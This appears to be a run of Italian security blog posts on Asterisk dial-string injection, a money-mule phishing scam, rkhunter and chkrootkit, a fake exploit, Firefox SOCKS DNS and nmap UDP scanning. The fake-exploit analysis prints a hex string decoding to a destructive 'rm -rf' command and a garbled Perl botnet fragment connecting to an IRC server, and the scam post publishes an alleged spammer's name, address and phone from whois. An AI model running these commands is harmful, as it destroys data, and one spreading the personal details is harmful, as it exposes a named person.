Molti protocolli VoIP, compresi IAX2 e SIP, possiedono un set piuttosto esteso di caratteri utilizzabile per la definizione delle extensions, come separatori nelle applicazioni dial() e queue(), e all’interno delle dialstring che tali applicazioni inviano ai channel drivers in Asterisk.

Questa caratteristica, se non opportunamente controllata, e qualora sia presente un carattere jolly, come nell’esempio seguente:

[from_internal]
exten => _X.,1,Dial(SIP/${EXTEN})

rende possibile l’esecuzione di chiamate normalmente non consentite.

In un caso simile, diviene infatti possibile forgiare un INVITE con dati come 300&Zap/g1/4565554321 per creare, in uscita, un channel addizionale non previsto.

Ovvero, come nella SQL injection, quella che è una caratteristica programmaticamente importante si trasforma in una vulnerabilità qualora manchi un rigido controllo dell’imput consentito.

Il fenomeno è facilmente verificabile anche utilizzando solamente la console di Asterisk:

*CLI> console dial 444&SIP/voipcheap.com/00393213245678@from_internal
== Console is full duplex
-- Executing [444&SIP/voipcheap.com/00393213245678@from_internal:1] Dial(”Console/dsp”, “SIP/444&SIP/voipcheap.com/00393213245678″) in new stack
== Using SIP RTP CoS mark 5
*CLI> [Mar 6 18:24:41] WARNING[4284]: chan_sip.c:5329 create_addr: No such host: 444
[Mar 6 18:24:41] WARNING[4284]: app_dial.c:1745 dial_exec_full: Unable to create channel of type ‘SIP’ (cause 20 - Unknown)
== Using SIP RTP CoS mark 5
– Called voipcheap.com/00393213245678
[Mar 6 18:24:41] NOTICE[4197]: chan_sip.c:17763 handle_response_invite: Failed to authenticate on INVITE to ‘”asterisk” ;tag=as67de60de’
– SIP/voipcheap.com-00000002 is circuit-busy
== Everyone is busy/congested at this time (2:0/1/1)
– Auto fallthrough, channel ‘Console/dsp’ status is ‘CONGESTION’
<< Hangup on console >>

Nell’esempio la chiamata non procede oltre solo per il fatto di non avere impostato alcun account relativo al provider sip, che di conseguenza non la ha autorizzata.

In ragione di quanto appena visto, si rende quanto mai opportuno far filtrare la variabile ${EXTEN}, prima del suo effettivo utilizzo, da funzioni che accettino solamente i caratteri previsti dal programmatore del dialplan. Tali funzioni possono essere FILTER(), oppure REGEX(), come nell’esempio seguente:

[from_internal]
exten => _X.,1,gotoif(${REGEX(”&,/|@” ${EXTEN})}?bad_context,s,1)
…
[bad_context]
exten => s,1,playback(invalid)
exten => s,2,congestion


Send post as PDF to

Ricapitolando brevemente, il phishing è una attività illegale, praticata con l’ausilio di tecniche sempre più sofisticate di ingegneria sociale, allo scopo di ottenere l’accesso a informazioni personali o riservate, e con l’obiettivo di attuare un qualche tipo di sostituzione di identità.

Rientrano in questa tipologia tutti quei tentativi di convincere la vittima, spesso tramite comunicazioni fasulle da parte dei più diversi istituti di credito, a rivelare i dati personali necessari per l’accesso al proprio conto corrente bancario on-line, raggiungibile direttamente tramite un link che sembra puntare all’autentico sito istituzionale, ma che in realtà punta ad un clone, più o meno credibile, dell’originale.

Come è ovvio, le tecniche utilizzate per impadronirsi dei dati di cui sopra si sono nel tempo evolute, e con ogni probabilità continueranno a farlo.
Una tecnica più moderna consiste nella installazione e attivazione di applicativi di keylogging sul computer vittima, anche qui spesso tramite varie manovre di ingegneria sociale, ma sovente anche tramite infezioni di virus e worm avvenute sfruttando vulnerabilità, vecchie e nuove, a carico dei sistemi operativi e/o programmi applicativi più diffusi.
In questo caso, gli ignari utenti possono accedere al sito originale, non necessariamente a un’imitazione, ma la cattura delle credenziali di accesso avviene al momento del loro stesso inserimento da tastiera.
Qualunque sia la tecnica utilizzata, il risultato è comunque quello di permettere ai truffatori l’accesso al conto corrente della vittima di turno.

A questo punto i truffatori si trovano a risolvere un problema non indifferente, cioè quello di incassare materialmente le somme divenute disponibili, essendo troppo pericoloso effettuare direttamente dei bonifici, inoltre lento e sospetto nel caso in cui si tratti di bonifici internazionali, sui propri conti correnti.
Uno dei metodi attualmente più usati ed efficaci consiste nell’abbindolare qualcuno per convincerlo fare al il lavoro rischioso (oserei dire kamikaze) al posto loro.

La truffa ha quindi due tipi distinti di vittime, i truffati di tipo A, cui sono stati sottratti gli estremi di accesso al proprio conto online e sono quindi gli originali derubati, e quelli di tipo B, che avendo fatto da intermediari, pagano tutte le responsabilità della truffa, che riesce quasi sempre a lasciare i veri truffatori felicemente impuniti.

In genere viene offerto al truffato di tipo B un lavoro che richiede poco tempo, alcune conoscenze di base, e che viene subito presentato come ben retribuito (ovviamente per aumentare le probabilità di una risposta). A chi risponde dicendo di essere interessato si spiega che l’attività consiste nel ricevere bonifici sul proprio conto corrente, prelevare i contanti e spedirli, tipicamente via MoneyGram, Western Union o servizi simili a un fantomatico tizio di Mosca o San Pietroburgo (per esempio).

Nel caso in cui l’offerta venga accettata, il truffato di tipo B dovrà fornire le proprie coordinate bancarie ai truffatori.

I truffatori accedendo quindi online al conto corrente del truffato di tipo A, effettuano un bonifico al truffato di tipo B. Quest’ultimo preleva i soldi (in genere gli viene concesso di trattenerne una quota tipo il 10%, come compenso) e li manda via Western Union o similia al tizio di cui sopra.

A questo punto é solo questione di tempo, prima o poi il truffato di tipo A si accorge della presenza di ammanchi inspiegabili di denaro dal suo conto. Supponiamo che facendo un semplice controllo scopra ad esempio che é stato fatto un bonifico di cui non riconosce il motivo.
Segnala la cosa alla sua banca e parte la denuncia. Il destinatario del bonifico, ovvero il truffato di tipo B viene subito rintracciato dalla polizia postale, il suo conto bloccato per le indagini, mentre lui viene incriminato per reati che possono essere truffa, riciclaggio, e nel peggiore dei casi, associazione a delinquere, in base agli elementi di indagine raccolti. Probabilmente verrebbe sequestrato anche il o i pc in suo possesso, alla ricerca delle sue reali responsabilità.
Il truffato  di tipo B, anche per alleggerire la propria posizione, è tenuto poi a dover restituire la cifra sottratta al truffato di tipo A, e dato che ha spedito il 90% dei soldi ai truffatori, è già una bella batosta economica. Deve poi essere in grado di dimostrare di essere stato truffato egli stesso, e di non essere quindi parte attiva nella truffa. Questo dipende ovviamente dalle specifiche circostanze e dalla abilità dei suoi legali e dei loro consulenti. E anche questo ha ovviamente un costo.
Molto spesso, tutto quello che è oggettivamente ottenibile in tal senso è solo una riduzione del danno.

Piccola analisi di un caso reale

Prendiamo la seguente email di esempio.

Vi salutiamo
Sono Cora del negozio di gioielli leader,
stiamo cercando impiegati per lavoro su mezza giornata, per il ruolo di segretario.

Non c’e bisogno di conoscenze o abilita particolari, e un semplice lavoro amministrativo.
le prime tre settimane e il periodo di prova, il lavoro occupera circa un’ora e mezzo alla settimana.
Basandosi sui risultati, paghiamo ogni settimana incentivi in contanti.
La formazione e veloce e gratis, e sempre disponibile il Suo individuale Istruttore.
Sara mio piacere rispondere a tutte le Sue domande personalmente : Cora@cet-west.com

Cordiali saluti,,
Cora

Una email simile corrisponde proprio al metodo descritto in precedenza per abbindolare le vittime del tipo B.
All’origine della truffa vi è stavolta una persona reale e non un nome fittizio, il signor Maksim Rodkin, uno spammer che si dichiara software engineer Citrix e MS sul proprio profilo Linkedin (http://ru.linkedin.com/pub/rodkin-maksim/15/256/7A5), ed è titolare del blog maximrodkin.blogspot.com.
Egli utilizza sempre gli stessi riferimenti per registrare i propri domini trappola (cet-west.com, 24watch-es.com, western-gold.net, golden-rich-it.com, kilipolozarak.com, international-ca.com, it-euro-shop.com, it-west-next.com, es-streams.net, international-ca.com, lavoro-it.org, goldes-it.com, shop-euronet.net, tr-euro.com, international-es.com, es-euro-shop.com, es-shopper.com, watch-euro.com, tr-euro.com, west-nets.net, webseuro.com) .

Ad esempio, per quanto riguarda il dominio cet-west.com, i riferimenti sono i seguenti:

# whois -h whois.regtime.net cet-west.com
% Regtime Ltd. WHOIS server

Domain name: cet-west.com

Name servers:
ns1.nameself.com
ns2.nameself.com

Registrar: Regtime Ltd.
Creation date: 2010-02-22
Expiration date: 2011-02-22
Status: active

Registrant:
Maksim Rodkin
Email: roddsn@post.com
Organization: Private person
Address: Miichurinskij prospekt, d.10-2, kv. 144
City: Moskva
State: Moskovskaya
ZIP: 178234
Country: RU
Phone: +7.4956783214
Administrative Contact:
[idem]
Technical Contact:
[idem]
Billing Contact:
[idem]

Ecco infatti un clone della e-mail precedente, provenienete però stavolta dal dominio western-gold.net, facente parte della variegata galassia con cui mister Max Rodkin cerca di arrotondare il proprio stipendio di software engineer:

Salve
Sono Eric del negozio di gioielli leader,
stiamo cercando dipendenti per lavoro part time, per il ruolo di consulente.

Non c’e bisogno di conoscenze o abilita particolari, e un semplice lavoro amministrativo.
le prime tre settimane e il periodo di prova, il lavoro occupera 1 ora al giorno.
Basandosi sui risultati, paghiamo ogni giorno contanti.
La formazione e durante il lavoro, e sempre disponibile il Suo personale Istruttore.
Siamo disponibili per qualsiasi Sua domanda : Eric@western-gold.net

In attesa di un Suo riscontro,,
Eric

Il titolare del dominio è ancora il nostro intraprendente signor Rodkin:

Domain name: western-gold.net

Name servers:
ns1.nameself.com
ns2.nameself.com

Registrar: Regtime Ltd.
Creation date: 2010-02-22
Expiration date: 2011-02-22
Status: active

Registrant:
Maksim Rodkin
Email: roddsn@post.com
Organization: Private person
Address: Miichurinskij prospekt, d.10-2, kv. 144
City: Moskva
State: Moskovskaya
ZIP: 178234
Country: RU
Phone: +7.4956783214
Administrative Contact:
[idem]
Technical Contact:
[idem]
Billing Contact:
[idem]

Per farla breve l’indirizzo roddsn@post.com risulta presente come contact nei record whois di oltre 20 domini.

Una rappresentazione grafica parziale ma piuttosto descrittiva dell’organizzazione di Rodkin è rappresentata dal grafico seguente.

Molti dei domini sono ospitati sulla stessa macchina (situata fisicamente in territorio Russo) all’indirizzo 193.104.94.57.
Alcuni di essi risultano intestati direttamente a lui, nello stile visto sopra, tutti gli altri risultano registrati dal medesimo registrar cinese (piuttosto omertoso nel fornire informazioni), ma sono accomunabili in quanto anch’essi origine del medesimo tipo di spam.
I loro nameservers autoritativi sono tuttavia pure essi ospitati all’indirizzo 193.104.94.57, e sono quindi domini virtuali, tranne cet-west.com.

Gli accounts di posta individuati (e destinati a ricevere le risposte di coloro che abboccano alla truffa) sono numerosi, ma devono per forza essere raggiungibili. Il motivo per cui ne pubblico qui l’elenco è la speranza che trattandosi di un documento indicizzabile dai motori di ricerca, cada presto preda di altri spammer, nella speranza di rendere il lavoro del signor Rodkin quantomeno più stressante. Visto che le eventuali email di risposta da parte delle vittime dovranno essere necessariamente esaminate manualmente, dovrebbe passare un po’ di tempo a fare pulizia nelle proprie caselle di posta, di cui gli indirizzi in elenco costituiscono ovviamente degli alias.

Scorrendo la lista si scoprono molti indirizzi piuttosto improbabili o ridicoli come:

Arnulfo@western-gold.net
Zenaide@golden-rich-it.com
Devota@golden-rich-it.com
Saffo@golden-rich-it.com
Icaro@golden-rich-it.com
Venustiano@golden-rich-it.com

Conclusioni

L’aspetto vincente di queste truffe rimane quello finanziario, visto che il misfatto viene scoperto quando è già stato consumato.
Quello che risulta frustrante è anche il fatto che i responsabili rimangano facilmente impuniti. Troppo costoso il ricorso a rogatorie internazionali per singoli episodi apparentemente scollegati e riguardanti cifre di poche migliaia di euro ciascuno.
L’intelligenza truffaldina di personaggi come il signor Rodkin risulta comunque modesta, dato che bisogna essere un po’ stupidi per non realizzare che molte potenziali vittime si trattengono dall’abboccare proprio perché si ritrovano bombardate da offerte molto simili fra loro.
Tuttavia la madre degli stupidi è sempre incinta, e durante il breve tempo che mi ha preso questa piccola analisi mi è capitato già diverse volte di reperire online ammissioni da parte di persone cadute in trappola.

Send post as PDF to

Con ciò non intendo affatto affermare che rkhunter sia migliore rispetto a chkrootkit.
A parer mio, anzi dovrebbero essere entrambi utilizzati per un reciproco completamento.

Rkhunter è in grado di eseguire controlli come:

• Confronto hash MD5

• Controllo di files normalmente usati da rootkits

• Errate file permissions per binari

• Ricerca di stringhe sospette nei moduli LKM e KLD

• Ricerca di hidden files

• Scansione opzionale di files plaintext e binari

Rkhunter utilizza a sua volta il package Unhide, un “forensic” tool in grado di rilevare processi e porte TCP/UDP nascoste da rootkits, Linux kernel modules o altre tecniche. Esso si avvale infatti di altre due utilities: unhide e unhide-tcp.

Il primo, unhide, rileva processi nascosti utilizzando tre diverse tecniche:

• confrontando il contenuto di /proc e l’ output di /bin/ps

• confrontando le informazioni ottenute tramite /bin/ps con quelle ottenute tramite system calls (syscall scanning)

• full scan del process ID space (PIDs bruteforcing)

Il secondo, unhide-tcp identifica le eventuali porte TCP/UDP in ascolto non rilevate da /bin/netstat, tramite brute forcing di tutte le porte TCP/UDP possibili.

Lanciato con la opzióne -c rkhunter effettua un controllo completo del sistema:

# rkhunter -c
[ Rootkit Hunter version 1.3.4 ]

Checking system commands...

Performing 'strings' command checks
Checking 'strings' command [ OK ]

Performing 'shared libraries' checks
Checking for preloading variables [ None found ]
Checking for preload file [ Not found ]
Checking LD_LIBRARY_PATH variable [ Not found ]

Performing file properties checks
Checking for prerequisites [ OK ]
/bin/bash [ OK ]
/bin/cat [ OK ]
/bin/chmod [ OK ]
/bin/chown [ OK ]
/bin/cp [ OK ]
/bin/date [ OK ]
/bin/df [ OK ]
/bin/dmesg [ OK ]
/bin/echo [ OK ]
/bin/ed [ OK ]
/bin/egrep [ OK ]
/bin/fgrep [ OK ]
/bin/fuser [ OK ]
/bin/grep [ OK ]
/bin/ip [ OK ]
/bin/kill [ OK ]
/bin/less [ OK ]
/bin/login [ OK ]
/bin/ls [ OK ]
/bin/lsmod [ OK ]
/bin/mktemp [ OK ]
/bin/more [ OK ]
/bin/mount [ OK ]
/bin/mv [ OK ]
/bin/netstat [ OK ]
/bin/ps [ OK ]
/bin/pwd [ OK ]
[...]

È possibile personalizare i test da effettuare selezionandoli fra quelli disponibili:

# rkhunter --list

Available test names:
additional_rkts all apps attributes avail_modules deleted_files
filesystem group_accounts group_changes hashes hidden_procs immutable
known_rkts loaded_modules local_host malware network none
os_specific other_malware packet_cap_apps passwd_changes ports possible_rkt_files
possible_rkts possible_rkt_strings promisc properties rootkits running_procs
scripts shared_libs shared_libs_path startup_files startup_malware strings
suspscan system_commands system_configs trojans

Grouped test names:
additional_rkts => possible_rkt_files possible_rkt_strings
group_accounts => group_changes passwd_changes
local_host => filesystem group_changes passwd_changes startup_malware system_configs
malware => deleted_files hidden_procs other_malware running_procs suspscan
network => packet_cap_apps ports promisc
os_specific => avail_modules loaded_modules
possible_rkts => possible_rkt_files possible_rkt_strings
properties => attributes hashes immutable scripts
rootkits => avail_modules deleted_files hidden_procs known_rkts loaded_modules other_malware possible_rkt_files possible_rkt_strings running_procs suspscan trojans
shared_libs => shared_libs_path
startup_files => startup_malware
system_commands => attributes hashes immutable scripts shared_libs_path strings

Available languages:
cn en zh zh.utf8

Rootkits checked for:
55808 Trojan - Variant A, AjaKit, Ambient (ark), Apache Worm, aPa Kit, Balaur,
BeastKit, beX2, BOBKit, CiNIK Worm (Slapper.B variant), Danny-Boy's Abuse Kit, Devil,
Dica, Dreams, Duarawkz, Enye LKM, Flea Linux, FreeBSD,
Fuck`it, GasKit, Heroin LKM, HjC Kit, ignoKit, ImperalsS-FBRK,
IntoXonia-NG, Irix, Kitko, Knark, Li0n Worm, Lockit / LJK2,
Mood-NT, MRK, Ni0, Ohhara, Optic Kit (Tux), Oz,
Phalanx, Phalanx2, Portacelo, R3dstorm Toolkit, RH-Sharpe's, RSHA's,
Scalper Worm, Shutdown, SHV4, SHV5, Sin, SInAR,
Slapper, Sneakin, Suckit, SunOS / NSDAP, SunOS Rootkit, Superkit,
T0rn, TBD (Telnet BackDoor), TeLeKiT, Trojanit Kit, Tuxtendo, URK,
Vampire, VcKit, Volc, X-Org SunOS, zaRwT.KiT

Ad esempio:

# rkhunter --enable hidden_procs,loaded_modules
[ Rootkit Hunter version 1.3.4 ]

Checking for rootkits...

Performing malware checks
Checking for hidden processes [ None found ]

Performing Linux specific checks
Checking loaded kernel modules [ OK ]

[Press to continue]



System checks summary
=====================

File properties checks...
All checks skipped

Rootkit checks...
Rootkits checked : 0
Possible rootkits: 0

Applications checks...
All checks skipped

The system checks took: 1 minute and 13 seconds
All results have been written to the logfile (/var/log/rkhunter.log)
No warnings were found while checking the system.
[...]

Come per altri tool di controllo, è una buona idea attivare rkhunter nell’ambito di un cron job come il seguente, che utilizza uno script inserito nella directory /etc/cron.daily, in modo da essere lanciato automaticamente ogni giorno alla stessa ora.

#!/bin/sh
( /usr/local/bin/rkhunter --cronjob --update --rwo && echo "" ) \
| /bin/mail -s "Rkhunter giornaliero su `uname -n`" root
exit 0


Send post as PDF to

Chkrootkit (Check Rootkit) è uno shell script che richiama molti comuni tools UNIX/Linux (awk, cut,egrep, find, head, id, ls, netstat, ps, strings, sed, uname), per rilevare all’interno di fondamentali programmi di sistema la presenza di particolari pattern e per confrontare il contenuto del filesystem /proc con l’ output del comando ps (process status) alla ricerca di discrepanze.

Dato che l’affidabilità di qualsiasi programma destinato al rilevamento di malware (come rootkits e virus) è sempre condizionata dell’eventualità di essere a sua volta compromesso, sarebbe opportuno che il software di controllo venisse lanciato da un “rescue disc” (typicamente un Live CD).

Il programma, che lanciato senza ulteriori parametri effettuerebbe tutti i tests disponibili, con l’opzione -h restituisce le proprie opzioni di esecuzione:

# chkrootkit -h

Usage: ./chkrootkit [options] [testname ...]
Options:
-h                show this help and exit
-V                show version information and exit
-l                show available tests
-d                debug
-q                quiet mode
-x                expert mode
-r dir            use dir as the root directory
-p dir1:dir2:dirN path for the external commands used by chkrootkit
-n                skip NFS mounted dirs

dove testname indica uno o più elementi presi dalla lista seguente, ottenuta con:

# chkrootkit -l

/usr/sbin/chkrootkit: tests: aliens asp bindshell lkm rexedcs sniffer w55808 wted scalper slapper z2 amd basename biff chfn chsh cron crontab date du dirname echo egrep env find fingerd gpm grep hdparm su ifconfig inetd inetdconf identd init killall ldsopreload login ls lsof mail mingetty netstat named passwd pidof pop2 pop3 ps pstree rpcinfo rlogind rshd slogin sendmail sshd syslogd tar tcpd tcpdump top telnetd timed traceroute vdir w write

Per esempio:

# chkrootkit aliens
ROOTDIR is `/'
Checking `aliens'...
/dev/shm/pulse-shm-3167735092
Searching for sniffer's logs, it may take a while...        nothing found
Searching for rootkit HiDrootkit's default files...         nothing found
Searching for rootkit t0rn's default files...               nothing found
Searching for t0rn's v8 defaults...                         nothing found
Searching for rootkit Lion's default files...               nothing found
[...]
Searching for ENYELKM rootkit default files…              nothing found
Searching for common ssh-scanners default files…          nothing found
Searching for anomalies in shell history files…           nothing found

Il comando seguente controlla invece se i binari ps e ls siano stati compromessi e inoltre verifica che nessuna interfaccia di rete si trovi in promiscuous mode:

# ./chkrootkit ps ls sniffer
ROOTDIR is `/'
Checking `ps'...                   not infected
Checking `ls'...                   not infected
Checking `sniffer'...
lo: not promisc and no packet sniffer sockets
ppp0: not promisc and no packet sniffer sockets

Con la opzione -q chkrootkit opera in “quiet mode”. In tale modalità vengono emessi solamente i messaggi relativi allo status “infected”.

Con la opzione -x  si possono esaminare stringhe sospette all’interno di programmi binari che possano indicare la presenza di un trojan.
In tal caso tutta la analisi viene lasciata all’utente.

Ecco come trovare dei pathnames all’interno di un comando di sistema:

# chkrootkit -x login | egrep '^/'
/lib/ld-linux.so.2
/usr/share/locale
/var/log/faillog
/var/log/wtmp
/dev/
/dev/%s
/etc/gshadow
/bin/sh
/etc/login.defs

È possibile, con la opzione -p, fornire a chkrootkit un percorso di ricerca alternativo, per fare in modo che non adoperi i binari di un sistema (possibilmente) compromesso per effettuare i propri tests.

Per usare, ad esempio, i binari presenti in /mnt/cdrom/bin:

# chkrootkit -p /mnt/cdrom/bin

È anche possibile aggiungere più paths separate da un carattere “:”

# chkrootkit -p /mnt/cdrom/bin:/mnt/floppy/bin

Talvolta può essere utile montare il disco di una macchina compromessa e specificare una nuova rootdir con la opzione “-r”.

Supponendo ad esempio che il disco che si vuole controllare sia montato sotto /mnt/dsk-stranger, si può impartire:

# chkrootkit -r /mnt/dsk-stranger

Ovviamente, la validità di uno strumento come chkrootkit risiede in un utilizzo regolare, possibilmente schedulato.
Per ottenerne, ad esempio, i risultati una volta al giorno per email alle 5 am, si può inserire nel cron file di root (sotto Debian/Ubunti è /var/spool/cron/crontabs/root):

0 5 * * * (cd /usr/local/chkrootkit; ./chkrootkit 2>&1 | mail -s "esito chkrootkit" me@mycompany.com)

quindi:

# /etc/init.d/cron restart


Send post as PDF to

Esattamente come la sua reincarnazione, il falso exploit comprendeva tre stringhe di codice offuscato, definite come jmpcode[], shellcode[] ed fbsd_shellcode[].

Come già stabilito, jmpcode[] non è altro che una rappresentazione esadecimale di “rm -rf ~ /* 2> /dev/null &”, comando destinato a cancellare l’intero contenuto della home directory o, nel peggiore dei casi, della root directory, nel caso in cui venisse eseguito coi privilegi di root.

shellcode[] ed fbsd_shellcode[] aprono invece una connessione verso euIRC, un network di Internet Relay Chat, aggregandosi ad un canale “key-protected”, in definitiva arruolandosi in una botnet, come si puo arguire ad esempio dalla porzione di codice seguente:

#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";

Il falso exploit remoto (ma autenticissimo exploit locale!) era stato attribuito al famigerato anti-sec group, con l’obiettivo di fare strage di script kiddies sempre alla ricerca di un nuovo exploit, e magari di colpire anche qualche ricercatore troppo rilassato.

Di sicuro la sua ricomparsa è una buona occasione per ribadire quella che dovrebbe essere una procedure standard, almeno riguardo a software di questo tipo: ispezionare sempre il codice prima di mandarlo in esecuzione, e farlo quindi in un ambiente circoscritto e controllato, tipo una virtual machine.

Send post as PDF to

Si trattava in realtà di un “fake exploit” che, se lanciato con i privilegi di root, avrebbe semplicemente cancellato l’intero filesystem della macchina locale, come si evince facilmente dalla conversione in ascii dalla seguente stringa, contenuta nel sorgente incriminato:

char jmpcode[] =
“x72×6Dx20×2Dx72×66x20×7ex20×2Fx2Ax20×32x3ex20×2f”
“x64×65x76×2fx6ex75×6cx6cx20×26″;

ovvero:

Ogni ulteriore commento mi pare superfluo!

Send post as PDF to

Un problema non indifferente che si verifica coi proxies SOCKS è che alcune applicazioni, che pure ne supportano l’uso, potrebbero non utilizzarlo per tutte le loro comunicazioni di rete.
Il caso più comune riguarda le richieste di tipo DNS, che normalmente non passano attraverso il proxy.
Ciò può costituire un problema per la privacy ma può anche rendere vulnerabili a pratiche di blocco o redirezione delle richieste DNS.

Mozilla Firefox è vulnerabile a questo aspetto nella sua configurazione di default, tuttavia è possibile intervenire su di essa per modificare questo comportamento.
Basta puntare la barra degli indirizzi di Firefox ad una location particolare, cioè “about:config”, senza curarsi dell’avvertimento che si sta per compiere una operazione potenzialmente pericolosa.

Nel lungo elenco di parametri sulla sinistra della pagina che si presenta occorre selezionare “network.proxy.socks_remote_dns”, e col tasto destro del mouse, selezionare la voce “toggle”, operazione che ne commuta il valore da false a true.

Firefox è ora correttamente configurato per fare sì che tutte le richieste DNS relative ai siti visitati passino attraverso il proxy.

Send post as PDF to

Il metodo “tradizionale” della scansione UDP implica l’invio di un datagramma UDP alla porta di destinazione. Se viene restituito un messaggio di errore ICMP Type 3 Port unreachable, allora la porta viene considerata “closed”.
Differenti tipi di messaggi ICMP possono invece indicare una porta filtrata.

Una scansione UDP fa cioè affidamento sui messaggi diagnostici ICMP al fine di determinare lo stato di una porta remota.
Firewalls che bloccano il traffico ICMP in uscita impediscono perciò alle scansioni UDP di restituire alcuna utile informazione.

Le porte UDP in stato “open” di solito non rispondono all’invio di datagrammi UDP dal momento che non esiste nel protocollo di trasporto, che è “stateless”, alcun meccanismo che preveda l’instaurazione di una sessione.
Se la applicazione in ascolto non riuscisse ad interpretare il contenuto del pacchetto, potrebbe rispondere con un messaggio di errore, ma più probabilmente scarterebbe il pacchetto e non risponderebbe affatto.

Le eventuali risposte a datagrammi UDP sono quindi delegate al livello applicazione.

Per quanto non possa essere assunto come un metodo generale valido per rilevare porte “open”, è proprio in questo che consiste il miglioramento alla scansione UDP apportato in nmap a partire dalla recentissima versione 5.20 (peraltro subito sostituita dalla versione 5.21, che ne corregge solamente alcuni bug).
In altri termini, una scansione UDP di una porta DNS (udp/53) consiste in una valida richiesta dns, mentre quella di una porta NTP in una altrettanto valida richiesta NTP.

Il differente comportamento di nmap rispetto alle versioni precedenti è immeditamente visibile.

Utilizzando infatti una versione precedente (5.0) si ottiene:

# nmap -sU -PN -p 123 ntp1.ien.it

Starting Nmap 5.00 ( http://nmap.org ) at 2010-02-04 10:20 CET
Nmap scan report for ntp1.ien.it (193.204.114.232)
Interesting ports on 193.204.114.232
PORT    STATE          SERVICE
123/udp open|filtered  ntp
[...]

mentre ora si ottiene:

# nmap -sU -PN -p 123 193.204.114.232

Starting Nmap 5.20 ( http://nmap.org ) at 2010-02-04 20:08 CET
Nmap scan report for ntp1.inrim.it (193.204.114.232)
Host is up (0.047s latency).
PORT    STATE SERVICE
123/udp open  ntp
[...]

ed anche un trace effettuato tramite nmap evidenzia un regolare dialogo protocollare:

# tcpdump -t -i ppp0 host 193.204.114.232
[...]
Client, Leap indicator: clock unsynchronized (192), Stratum 0, poll 4s, precision -6
Root Delay: 1.000000, Root dispersion: 1.000000, Reference-ID: (unspec)
[...]
Server, Leap indicator:  (0), Stratum 1, poll 4s, precision -18
Root Delay: 0.000000, Root dispersion: 0.000091, Reference-ID: UTCI
[...]

Se infatti nel primo esempio viene inviato alla porta udp/123 un pacchetto vuoto, ed il server NTP semplicemente lo scarta, nel secondo si ha l’invio di un pacchetto contenente un valido payload NTP.

Attualmente nmap 5.21 supporta degli specifici payloads per i seguenti protocolli:

udp/7        echo
udp/53       domain
udp/111      rpcbind
udp/123      ntp
udp/137      netbios-ns
udp/161      SNMP
udp/177      xdmcp
udp/500      ISAKMP
udp/520      route
udp/1645     RADIUS
udp/1812     RADIUS
udp/2049     NFS
udp/5353     zeroconf
udp/10080    amanda

ma è facilmente prevedibile che il gruppo sia destinato ad ampliarsi.

Send post as PDF to